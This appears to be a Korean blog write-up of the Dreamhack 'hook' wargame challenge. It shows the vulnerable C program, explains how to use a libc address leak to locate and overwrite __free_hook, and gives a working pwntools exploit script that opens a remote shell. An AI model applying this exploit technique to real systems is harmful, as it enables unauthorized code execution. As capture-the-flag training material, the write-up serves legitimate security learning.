본문 바로가기

Dreamhack/Wargame

[Wargame] hook

1. 실습 코드

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);
   
    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

2. 풀이

① 적용된 보호 기법을 확인한다.

 

② 출력되는 stdout의 주소 값을 통해, lib가 맵핑된 주소 값을 알 수 있다.
     이를 통해, __free_hook의 주소 값을 계산할 수 있다.

 

 PIE보호기법이 적용되어 있지 않기 때문에, system함수의 주소 값을 알 수 있다.

 

  free_hook을 system주소값으로 덮는다.

    코드를 분석해 보면 아래와 같은 코드를 볼 수 있는데, 이는 *ptr[0] = ptr[1]을 의미한다. 
    즉, 해당 코드는 원하는 주소값을 원하는 값으로 변경할 수 있는 것이다.

    따라서, *free_hook = system("/bin/sh")형식으로 값을 넣어주면 쉘을 획득할 수 있다.

*(long *)*ptr = *(ptr+1);

 

⑤ free()가 실행되기 전, free_hook이 실행되기 때문에 Shell을 획득할 수 있다.

 

3. Exploit

  • pwntool을 이용하여, exploit 코드를 작성해보면 아래와 같다.
from pwn import *

def print_v(name, value):
    return success(": ".join([name, hex(value)]))

p = remote(b"host3.dreamhack.games", 16341)
#p = process(b"./hook")
libc = ELF(b"/lib/x86_64-linux-gnu/libc.so.6")
system_plt = 0x400788  //기존 코드에 작성되어 있는 system('/bin/sh')코드의 주소값이다.

p.recvuntil(b"stdout:")
libc_stdout = p.recvuntil(b"\n").strip(b"\n")
libc_stdout = int(libc_stdout, 16)
libc_base = libc_stdout - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']

print_v("libc_stdout", libc_stdout)
print_v("libc_base", libc_base)
print_v("free_hook", free_hook)
print_v("system", system_plt)

p.recvuntil(b"Size: ")
p.sendline(str(1024))
p.recvuntil(b"Data: ")


payload  = p64(free_hook)
payload += p64(system_plt)

p.sendline(payload)
p.interactive()

 

'Dreamhack > Wargame' 카테고리의 다른 글

[Wargame] basic_exploitation_002  (0) 2022.08.15
[Wargame] out_of_bound  (0) 2022.08.10
[Wargame] oneshot  (0) 2022.07.19
[Wargame] fho  (0) 2022.07.19
[Wargame] basic_rop_x86  (0) 2022.07.10